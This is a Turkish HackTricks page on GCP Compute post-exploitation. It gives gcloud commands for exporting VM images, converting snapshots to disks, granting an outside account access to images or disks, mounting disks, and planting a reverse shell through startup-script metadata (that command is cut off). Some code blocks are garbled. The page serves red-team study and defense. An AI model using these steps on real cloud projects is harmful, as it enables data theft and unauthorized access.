GCP - Compute Sömürü Sonrası
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Compute
Compute ve VPC (Networking) hakkında daha fazla bilgi için bakınız:
Görüntüleri yerel olarak dışa aktar ve incele
Bu, bir saldırganın halihazırda var olan görüntülerin içinde bulunan verilere erişmesine veya çalışan VM’lerin yeni image’larını oluşturarak bu verilere, çalışan VM’ye erişimi olmadan ulaşmasına olanak tanır.
Bir VM image’ını bir bucket’a dışa aktarmak, sonra indirmek ve aşağıdaki komutla yerelde mount etmek mümkündür:
VM image'ını dışa aktar ve indir
```bash gcloud compute images export --destination-uri gs://Bu işlemi gerçekleştirmek için saldırganın storage bucket üzerinde ayrıcalıklara ihtiyaç duyabilir ve kesinlikle cloudbuild üzerindeki ayrıcalıklara sahip olması gerekir çünkü dışa aktarmayı gerçekleştirmesi istenecek olan hizmetdir.
Ayrıca, bunun çalışması için codebuild SA ve compute SA’nın ayrıcalıklı izinlere ihtiyacı vardır.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com şunlara ihtiyaç duyar:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Ve SA <project-id>-compute@developer.gserviceaccount.com şunlara ihtiyaç duyar:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Snapshots & Disks’i Yerelde Dışa Aktarma ve İnceleme
Snapshots ve diskleri doğrudan dışa aktarmak mümkün değildir, ancak bir snapshot’ı diske, bir diski imaja dönüştürmek ve önceki bölümdeki gibi o imajı dışa aktararak yerelde incelemek mümkündür
Snapshot'tan disk oluşturma ve diskten imaj oluşturma
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### VM oluşturan image'i inceleme
Bir saldırganın **image içinde depolanan veriler** veya **çalışan VM** içindekilere, saldırganın **bir image oluşturduğu** yerden erişmeyi amaçlaması durumunda, dış bir hesaba image üzerinde erişim vermek mümkündür:
<details>
<summary>Image'e erişim ver ve VM oluştur</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
ve sonra bundan yeni bir VM oluşturun:
Görüntüden VM instance oluştur
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Harici hesabınıza image üzerinden erişim veremiyorsanız, hedefin projesinde bu image’ı kullanarak bir VM başlatabilir ve metadata’nın bir reverse shell çalıştırmasını sağlayarak image’a erişebilirsiniz; parametreyi ekleyin:
metadata'de reverse shell içeren VM oluştur
```bash --metadata startup-script='#! /bin/bash echo "hello";Snapshot/Disk’i bir VM’ye bağlayarak inceleyin
Bir disk veya snapshot içinde depolanan verilere erişmeyi amaçlıyorsanız, snapshot’ı diske, diski bir image’e dönüştürebilir ve önceki adımları izleyebilirsiniz.
Veya diske dış bir hesabın erişimini verebilirsiniz (başlangıç noktası snapshot ise snapshot’a erişim verin veya ondan bir disk oluşturun):
Diske erişim verin
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Diski bir instance’a bağlayın:
Diski instance'a bağlayın
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```VM içinde diski mount edin:
- SSH ile VM’e bağlanın:
SSH ile VM'e bağlanın ve diski mount edin
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Diski belirleyin: VM’in içine girdikten sonra, disk aygıtlarını listeleyerek yeni diski belirleyin. Genellikle
/dev/sdb,/dev/sdcgibi bulunur. - Diski formatlayın ve mount edin (eğer yeni veya raw bir disk ise):
- Bir mount noktası oluşturun:
Mount noktası oluştur ve mount et
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Diski mount edin:
Disk aygıtını mount et
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Eğer snapshot veya diske bir external project’e erişim veremiyorsanız, bu işlemleri snapshot/disk ile aynı project içindeki bir instance içinde gerçekleştirmeniz gerekebilir.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

